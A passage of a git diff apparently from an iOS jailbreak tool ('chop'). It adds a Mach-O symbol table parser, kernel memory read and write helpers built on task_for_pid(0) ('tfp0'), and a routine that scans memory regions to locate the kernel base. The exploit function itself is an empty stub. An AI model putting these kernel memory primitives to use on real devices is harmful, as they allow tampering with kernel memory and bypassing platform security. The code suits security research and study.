sizeof(macho_symtab_t)); + } + return symtab; +} + +macho_symtab_t* macho_symtab_load(unsigned char* data, unsigned int offset) { + int i = 0; + macho_symtab_t* symtab = macho_symtab_create(); + if (symtab) { + symtab->cmd = macho_symtab_cmd_load(&data[offset]); + if (!symtab->cmd) { + macho_symtab_free(symtab); + return NULL; + } + symtab->nsyms = symtab->cmd->nsyms; + symtab->symbols = (struct nlist*)(&data[symtab->cmd->symoff]); + debug("Found %d symbols in symtab\n", symtab->nsyms); + for (i = 0; i < symtab->nsyms; i++) { + uint32_t off = symtab->symbols[i].n_un.n_strx; + if (off >= symtab->cmd->strsize) { + symtab->symbols[i].n_un.n_name = NULL; + } else { + symtab->symbols[i].n_un.n_name = (char*)(data+symtab->cmd->stroff + off); + } + } + //macho_symtab_debug(symtab); + } + return symtab; +} + +void macho_symtab_debug(macho_symtab_t* symtab) { + int i = 0; + if(symtab) { + debug("\tSymtab:\n"); + debug("\t\tnsyms: 0x%08x\n", symtab->nsyms); + for (i = 0; i < symtab->nsyms; i++) { + struct nlist sym = symtab->symbols[i]; + if (sym.n_un.n_name) { + debug("\t\t0x%x\tname=%s\n", i, sym.n_un.n_name); + } else { + debug("\t\t0x%x\tname=(no name)\n", i); + } + debug("\t\t\tn_type=0x%02x,n_sect=0x%02x,n_desc=0x%04x,n_value=0x%08x\n", sym.n_type, sym.n_sect, sym.n_desc, sym.n_value); + } + } +} + +void macho_symtab_free(macho_symtab_t* symtab) { + if (symtab) { + if (symtab->cmd) { + macho_symtab_cmd_free(symtab->cmd); + } + free(symtab); + } +} + +/* + * Mach-O Symtab Info Functions + */ +macho_symtab_cmd_t* macho_symtab_cmd_create() { + macho_symtab_cmd_t* info = malloc(sizeof(macho_symtab_cmd_t)); + if (info) { + memset(info, '\0', sizeof(macho_symtab_cmd_t)); + } + return info; +} + +macho_symtab_cmd_t* macho_symtab_cmd_load(unsigned char* data) { + macho_symtab_cmd_t* cmd = macho_symtab_cmd_create(); + if (cmd) { + memcpy(cmd, data, sizeof(macho_symtab_cmd_t)); + //macho_symtab_cmd_debug(cmd); + } + return cmd; +} + +void macho_symtab_cmd_debug(macho_symtab_cmd_t* cmd) { + debug("\tSymtab Command:\n"); + debug("\t\t cmd = 0x%x\n", cmd->cmd); + debug("\t\t cmdsize = 0x%x\n", cmd->cmdsize); + debug("\t\t symoff = 0x%x\n", cmd->symoff); + debug("\t\t nsyms = 0x%x\n", cmd->nsyms); + debug("\t\t stroff = 0x%x\n", cmd->stroff); + debug("\t\t strsize = 0x%x\n", cmd->strsize); +} + +void macho_symtab_cmd_free(macho_symtab_cmd_t* cmd) { + if (cmd) { + free(cmd); + } +} diff --git a/patch/patch/symtab.h b/patch/patch/symtab.h new file mode 100644 index 0000000..90cbe1d --- /dev/null +++ b/patch/patch/symtab.h @@ -0,0 +1,65 @@ +/** + * libmacho-1.0 - symtab.h + * Copyright (C) 2013 Crippy-Dev Team + * Copyright (C) 2010-2013 Joshua Hill + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + **/ + +#ifndef MACHO_SYMTAB_H_ +#define MACHO_SYMTAB_H_ + +typedef struct macho_symtab_cmd_t { + uint32_t cmd; /* LC_SYMTAB */ + uint32_t cmdsize; /* sizeof(struct macho_symtab_cmd_t) */ + uint32_t symoff; /* symbol table offset */ + uint32_t nsyms; /* number of symbol table entries */ + uint32_t stroff; /* string table offset */ + uint32_t strsize; /* string table size in bytes */ +} macho_symtab_cmd_t; + +typedef struct nlist { + union { + char *n_name; /* resolved symbol name */ + int32_t n_strx; /* index into the string table */ + } n_un; + uint8_t n_type; /* type flag, see below */ + uint8_t n_sect; /* section number or NO_SECT */ + int16_t n_desc; /* see */ + uint32_t n_value; /* value of this symbol (or stab offset) */ +} nlist; + +typedef struct macho_symtab_t { + uint32_t nsyms; + struct nlist* symbols; + macho_symtab_cmd_t* cmd; +} macho_symtab_t; + +/* + * Mach-O Symtab Functions + */ +macho_symtab_t* macho_symtab_create(); +macho_symtab_t* macho_symtab_load(unsigned char* data, unsigned int offset); +void macho_symtab_debug(macho_symtab_t* symtab); +void macho_symtab_free(macho_symtab_t* symtab); + +/* + * Mach-O Symtab Info Functions + */ +macho_symtab_cmd_t* macho_symtab_cmd_create(); +macho_symtab_cmd_t* macho_symtab_cmd_load(unsigned char* data); +void macho_symtab_cmd_debug(macho_symtab_cmd_t* cmd); +void macho_symtab_cmd_free(macho_symtab_cmd_t* cmd); + +#endif /* MACHO_SYMTAB_H_ */ diff --git a/patch/patch/tfp0.c b/patch/patch/tfp0.c new file mode 100644 index 0000000..fb5c2bd --- /dev/null +++ b/patch/patch/tfp0.c @@ -0,0 +1,109 @@ +// +// tfp0.c +// chop +// +// Created by Joshua Hill on 1/18/14. +// +// + +#include + +#include +#include +#include +#include +#include +#include + +#include "tfp0.h" + +void tfp0_kernel_exploit(void* kernel) { + +} + +mach_port_t tfp0_get_port() { + mach_port_t kernel_task = 0; + if (!kernel_task) { + if (task_for_pid(mach_task_self(), 0, &kernel_task) != KERN_SUCCESS) { + syslog(LOG_WARNING, "Unable to run task_for_pid for kernel!\n"); + } + } + return kernel_task; +} + +int tfp0_check_map(vm_address_t address) { + kern_return_t err; + mach_port_t kernel_task = tfp0_get_port(); + vm_address_t addr = address; + vm_size_t size; + int vminfo[VM_REGION_BASIC_INFO_COUNT_64]; + mach_msg_type_number_t len = sizeof(vminfo); + mach_port_t obj; + + err = vm_region_64(kernel_task, &addr, &size, VM_REGION_BASIC_INFO, + (vm_region_info_t) & vminfo, &len, &obj); + if (err != KERN_SUCCESS) + return 0; + + if (addr <= address && address < (addr + size)) + return -1; + + return 0; +} + +vm_size_t tfp0_kernel_read(vm_address_t addr, void* buffer, vm_size_t size) { + kern_return_t err = 0; + mach_port_t kernel_task = tfp0_get_port(); + + while (size > 0) { + vm_size_t to_read = (size > 0x800) ? 0x800 : size; + mach_msg_type_number_t count = (unsigned int) to_read; + + if (!tfp0_check_map(addr)) { + return -1; + } + + err = vm_read_overwrite(kernel_task, addr, to_read, (vm_address_t) buffer, &count); + + if (err != KERN_SUCCESS) { + syslog(LOG_WARNING, "vm_read(0x%lx, 0x%lx) failed\n", addr, to_read); + return err; + + } else if (count != to_read) { + syslog(LOG_WARNING, "vm_read(0x%lx, 0x%lx) short - 0x%x < 0x%lx\n", addr, to_read, count, to_read); + } + + addr += to_read; + size -= to_read; + buffer = ((uint8_t*) buffer) + to_read; + } + + return err; +} + +vm_size_t tfp0_kernel_write(vm_address_t addr, void* buffer, vm_size_t size) { + kern_return_t err = 0; + mach_port_t task = tfp0_get_port(); + + if (!tfp0_check_map(addr)) { + return -1; + } + + err = vm_write(task, addr, (vm_address_t) buffer, size); + + if (err != KERN_SUCCESS) { + syslog(LOG_WARNING, "vm_write(0x%lx, 0x%lx) failed\n", addr, size); + } + + return err; +} + +vm_address_t tfp0_kernel_get(vm_address_t address) { + void* val = 0; + tfp0_kernel_read(address, &val, sizeof(void*)); + return val; +} + +void tfp0_kernel_set(vm_address_t address, void* value) { + tfp0_kernel_write(address, &value, sizeof(void*)); +} \ No newline at end of file diff --git a/patch/patch/tfp0.h b/patch/patch/tfp0.h new file mode 100644 index 0000000..7461da7 --- /dev/null +++ b/patch/patch/tfp0.h @@ -0,0 +1,22 @@ +// +// tfp0.h +// chop +// +// Created by Joshua Hill on 1/19/14. +// +// + +#ifndef chop_tfp0_h +#define chop_tfp0_h + +#include + +mach_port_t tfp0_get_port(); + +void tfp0_kernel_exploit(void* kernel); +vm_address_t tfp0_kernel_get(vm_address_t address); +void tfp0_kernel_set(vm_address_t address, void* value); +vm_size_t tfp0_kernel_read(vm_address_t addr, void* buffer, vm_size_t size); +vm_size_t tfp0_kernel_write(vm_address_t addr, void* buffer, vm_size_t size); + +#endif diff --git a/patch/patch/vmmap.c b/patch/patch/vmmap.c new file mode 100644 index 0000000..afd20e2 --- /dev/null +++ b/patch/patch/vmmap.c @@ -0,0 +1,62 @@ +// +// vmmap.c +// chop +// +// Created by Joshua Hill on 1/19/14. +// +// + +#include +#include + +#include +#include +#include +#include +#include +#include + +#include "vmmap.h" +#include "kernel.h" + +vm_offset_t vmmap_get_slide(kernel_t* kernel) { + return 0; +} + +vm_address_t vmmap_get_base(kernel_t* kernel) { + vm_size_t size = 0; + kern_return_t kr = 0; + task_t kernel_task = 0; + vm_address_t addr = 0x81200000; + vm_region_submap_info_data_64_t info; + mach_msg_type_number_t info_count = VM_REGION_SUBMAP_INFO_COUNT_64; + unsigned int depth = 0; + + syslog(LOG_ERR, "Entering vmmap_get_base"); + kr = task_for_pid(mach_task_self(), 0, &kernel_task); + if (kr != KERN_SUCCESS) { + return NULL; + } + + while (1) { + // get next memory region + kr = vm_region_recurse_64(kernel_task, &addr, &size, &depth, (vm_region_info_t)&info, &info_count); + + if (kr != KERN_SUCCESS) break; + + // the kernel maps over a GB of RAM at the address where it maps + // itself so we use that fact to detect it's position + if (size > 1024*1024*1024) { + syslog(LOG_ERR, "Found possible range at 0x%lx with size 0x%lx", addr, size); + //vm_address_t magic = kernel->get(addr+IMAGE_OFFSET); + //if(magic == 0xFEEDFACE) { + // syslog(LOG_ERR, "Verified base address"); + // return addr + IMAGE_OFFSET; + //} + } + + addr += size; + } + + return NULL; +} \ No newline at end of file diff --git a/patch/patch/vmmap.h b/patch/patch/vmmap.h new file mode 100644 index 0000000..8fabbc4 --- /dev/null +++ b/patch/patch/vmmap.h @@ -0,0 +1,27 @@ +// +// vmmap.h +// chop +// +// Created by Joshua Hill on 1/19/14. +// +// + +#ifndef chop_vmmap_h +#define chop_vmmap_h + +#include + +#include "kernel.h" + +#if __LP64__ +#define ADDR "%16lx" +#define IMAGE_OFFSET 0x2000 +#else +#define ADDR "%8x" +#define IMAGE_OFFSET 0x1000 +#endif + +vm_offset_t vmmap_get_slide(kernel_t* kernel); +vm_address_t vmmap_get_base(kernel_t* kernel); + +#endif